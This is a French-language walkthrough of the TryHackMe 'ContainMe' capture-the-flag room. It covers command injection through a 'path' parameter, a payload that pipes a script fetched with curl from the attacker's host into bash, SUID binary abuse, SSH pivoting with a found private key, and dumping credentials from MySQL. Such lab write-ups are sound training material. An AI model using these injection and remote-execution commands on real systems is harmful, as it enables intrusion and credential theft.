Contain Me Walkthrough Fr | TryHackMe – Write-up

Where am I ? Catch me

 

ContainMe est un CTF de TryHackMe,  dont l’approche initiale est très intéressante avec une injection de commande  à trouver. La partie reverse engineering est assez bloquante. Une fois passé l’escalade de privilège est très simple. 

Buy Me a Coffee

Enumération

Commandes :

nmap -T5  10.10.235.114

 

4 ports ouverts dont au moins 2 services ssh ( port 22 et 8022 ) et un service inconnu sur le port 2222.

Web énumération

dirsearch -u 10.10.235.114 -x 403

Dirsearch trouve plusieurs pages web, dont /index.php/login. Cette page, nous affiche le contenu d’un dossier, probablement /var/www/html. L’affichage de la source nous donne cette indication :

<!–  where is the path ?  –>

Fuzzing path

L’indice indique qu’il faut trouver le bon chemin pour faire des injections de commandes . On va utiliser wfuzz afin de

Commande :

wfuzz -u http://10.10.235.114/index.php?FUZZ=id -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt –filter ‘h!=329’

 

Le chemin est : path

Initial FootHold

Avec BurpSuite, il est possible de faire plusieurs essais pour bien comprendre le fonctionnement de login.php ?path= . Comme il y a déjà une commande ls qui se fait naturellement, il faut mettre ; pour passer une commande en plus.

Reverse Shell

Toujours avec BurpSuite, on va récupérer un fichier bash partage sur Kali avec curl.  Puis le faire exécuter par bash via un pipe |

Commande finale :

;curl+http://10.11.38.124:8585/test.sh | bash

Il faut penser à encoder ( crtl + u ) la commande afin que le serveur puisse comprendre ce qui lui ai demandé.

Pour que curl puisse récupérer le fichier test.sh,  li faut mettre en place un serveur web avec python avec  la commande suivante :

python3.9 -m http.server 8585

Contenu du fichier test.sh

Enumération locale - recherche de SUID

Commande :

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

 

Le binary crypt possède des droits suid root, et il peut être exécuté par tout le monde. Si on tente de l’exécuter avec une commande en plus exemple ./crypt id. Il nous donne ce message d’erreur : Unable to decompress.

Mouvement latéral vers mike.

Commande :

./crypt mike

On a basculé sur un compte root qui doit être dans un conteneur. On va énumérer avec linpeas.

Commande pour le télécharger :

wget http://10.11.38.124:8585/linpeas2.sh

Dans le compte de Mike, se trouve une clé privée id_rsa que l’on va tenter d’exploiter. Reste à savoir sur quel serveur ssh  cette clé est valide ?

Le système possède trois interfaces Ethernet ( 192.168.250.10, 172.16.20.2, 127.0.0.1 ). Sur aucune de ses adresses IP la clé ne fonctionne. Sur les ports 22 et 8022 vu au début sur le scan nmap même chose. 

Avec la ligne de commande suivante, une nouvelle adresse IP va apparaitre. Sur laquelle on va pouvoir se connecter en ssh.

for ip in $(seq 1 255  );do ping -c 1 172.16.20.$ip;done

Connexion SSH au compte de Mike

Commande :

ssh mike@172.16.20.6 -i id_rsa

Il n’est pas possible d’atteindre le réseau de TryHackMe du fait d’une absence probable de routage entre les différentes carte Ethernet et conteneur. Il faut énumérer manuellement.

 

Escalade de privilège.

Il y a un serveur sql en écoute sur la boucle locale.

Commande :

netstat -tulpn

connexion au serveur sql

Commande :

mysql -u mike -p

La connexion demande un motdepasse qu’il faut deviner ( motdepasse en anglais)

Liste des commandes pour extraire les identifiants des comptes utilisateurs :

show databases;

use accounts

show tables ;

select * from users ;

 

On obtient le mot de passe du compte root. Il n’y a plus qu’à y connecter et récupérer le flag.

#

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest